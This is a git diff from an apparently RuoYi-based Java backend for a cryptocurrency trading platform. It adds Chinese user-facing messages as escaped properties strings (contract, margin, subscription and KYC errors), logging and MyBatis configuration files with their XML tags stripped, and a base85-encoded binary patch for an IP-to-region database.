+product.removed=\u4EA7\u54C1\u5DF2\u4E0B\u67B6 +financial.count.max=\u6B64\u7528\u6237\u5DF2\u5230\u8FBE\u9650\u5236\u6B21\u6570,\u4E0D\u5141\u8BB8\u8D2D\u4E70 +days.not.null=\u8D2D\u4E70\u5468\u671F\u4E3A\u7A7A +days.not.error=\u8D2D\u4E70\u5468\u671F\u9519\u8BEF + +contract.accont.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +contract.min.share=\u6700\u4F4E\u8D2D\u4E70\u6570\u4E3A{0} +contract.max.share=\u6700\u9AD8\u8D2D\u4E70\u6570\u4E3A{0} +contract.asset.error=\u5408\u7EA6\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 +adjust.min.error=\u51CF\u5C11\u7684\u4FDD\u8BC1\u91D1\u4E0D\u80FD\u5C0F\u4E8E\u521D\u59CB\u4FDD\u8BC1\u91D1 +order.status.error=\u975E\u6CD5\u63D0\u4EA4 +contract.buy.earn.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.buy.loss.error=\u4E70\u5165\u505A\u591A\uFF0C\u6B62\u635F\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.earn.error=\u5356\u51FA\u5F00\u7A7A\uFF0C\u6B62\u76C8\u4EF7\u4E0D\u80FD\u5927\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.sell.loss.error=\u5356\u51FA\u5F00\u7A7A,\u6B62\u635F\u4EF7\u4E0D\u80FD\u5C0F\u4E8E\u5F00\u4ED3\u5747\u4EF7 +contract.num.limit=\u6570\u91CF\u4E0D\u80FD\u5927\u4E8E\u6301\u4ED3\u91CF +#\u8D44\u91D1\u5212\u8F6C +asset_amount_error=\u4F59\u989D\u4E0D\u8DB3 + +order.amount_error=\u7406\u8D22\u8D26\u6237\u4F59\u989D\u4E0D\u8DB3 + +order.10s_retry=\u4E0B\u5355\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF710s\u540E\u5C1D\u8BD5\u4E0B\u5355... + +back.code.exist.error = \u94F6\u884C\u5361\u53F7\u5DF2\u7ECF\u5B58\u5728{} + + + +contract.delivery.day=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\u3002 +contract.delivery.margan=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u6216\u8005\u5408\u7EA6\u603B\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{2}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.earn=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5927\u4E8E\u7B49\u4E8E{1} USDT \u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +contract.delivery.loss=\u8DDD\u79BB\u4EA4\u5272\u65F6\u95F4\u8FD8\u6709\uFF1A{0}\u5929\uFF1B\u5982\u60A8\u7684\u5408\u7EA6\u603B\u8D44\u4EA7\u5C0F\u4E8E\u7B49\u4E8E{1}USDT,\u53EF\u4EE5\u63D0\u524D\u5E73\u4ED3\u3002 +order.audit.error=\u6B63\u5728\u5BA1\u6838\u4E2D +order.audit.pass=\u6B63\u5728\u5145\u503C\u4E2D\uFF0C\u9700\u8981\u5168\u74035\u4E2A\u8282\u70B9\u786E\u8BA4\uFF0C\u8BF7\u60A8\u8010\u5FC3\u7B49\u5F85 + +#\u7533\u8D2D +own.coin.limit.num= \u53EF\u8D2D\u4E70\u6570\u91CF{0} +own.coin.limit= \u53EF\u7528\u4F59\u989D{0} +own.coin.success= \u7533\u8D2D\u6210\u529F +own.coin.error= \u7CFB\u7EDF\u9519\u8BEF\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 +own.coin.sub.play=\u60A8\u5DF2\u7533\u8D2D\uFF0C\u8BF7\u52FF\u91CD\u590D\u63D0\u4EA4\uFF01 +own.coin.sub.error=\u672A\u8BA2\u9605\u6210\u529F\u4E0D\u53EF\u7533\u8D2D +own.coin.sub.success=\u60A8\u5DF2\u83B7\u5F97 {0} \u7533\u8D2D\u8D44\u683C +own.coin.sub.num.error=\u8BF7\u586B\u5199\u6B63\u786E\u6570\u91CF +order.sell.min.error=\u6700\u4F4E\u5356\u51FA\u91CF\u4E3A{0} +order.audit.reject=\u5E73\u4ED3\u5931\u8D25 + +#\u65B0\u53D1\u5E01\u8BA2\u9605 +own.coin.subscribe.success=\u8BA2\u9605\u6210\u529F\uFF01 +own.coin.subscribe.error=\u8BA2\u9605\u5931\u8D25\uFF0C\u8BF7\u7A0D\u540E\u518D\u8BD5\uFF01 +withdraw.kyc.error=\u8BF7\u5148\u5B8C\u6210\u5B9E\u540D\u8BA4\u8BC1\uFF0C\u89E3\u9664\u9650\u989D +currency.coin.setting.nonexistent=\u5F53\u524D{}\u914D\u7F6E\u4E0D\u5B58\u5728 +currency.balance.deficiency=\u5F53\u524D{}\u5E01\u79CD\u4F59\u989D\u4E0D\u8DB3 +currency.deal.error=\u6B64\u5E01\u79CD\u4E0D\u53EF\u4EA4\u6613 + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \u8BF7\u5148\u8FDB\u884C\u521D\u7EA7\u8BA4\u8BC1 + +#\u9ED1\u540D\u5355 +user_is_black = \u60A8\u7684\u8D26\u53F7\u5DF2\u88AB\u5217\u5165\u9ED1\u540D\u5355\uFF0C\u65E0\u6CD5\u767B\u5F55\u3002 + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error=\u6700\u5C0F\u4E0B\u5355\u91CF\u4E3A {0} +currency.order.max.error=\u6700\u5927\u4E0B\u5355\u91CF\u4E3A {0} diff --git a/ruoyi-api/src/main/resources/logback.xml b/ruoyi-api/src/main/resources/logback.xml new file mode 100644 index 0000000..651d594 --- /dev/null +++ b/ruoyi-api/src/main/resources/logback.xml @@ -0,0 +1,93 @@ + + + + + + + + + + + ${log.pattern} + + + + + + ${log.path}/sys-info.log + + + + ${log.path}/sys-info.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + INFO + + ACCEPT + + DENY + + + + + ${log.path}/sys-error.log + + + + ${log.path}/sys-error.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + ERROR + + ACCEPT + + DENY + + + + + + ${log.path}/sys-user.log + + + ${log.path}/sys-user.%d{yyyy-MM-dd}.log + + 60 + + + ${log.pattern} + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-api/src/main/resources/mybatis/mybatis-config.xml b/ruoyi-api/src/main/resources/mybatis/mybatis-config.xml new file mode 100644 index 0000000..c9d8f91 --- /dev/null +++ b/ruoyi-api/src/main/resources/mybatis/mybatis-config.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/ruoyi-api/src/main/resources/static/ip2region.db b/ruoyi-api/src/main/resources/static/ip2region.db new file mode 100644 index 0000000000000000000000000000000000000000..3b6a296ee296d2b5e5fec5b4d5328c699f0c4229 GIT binary patch literal 9359116 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 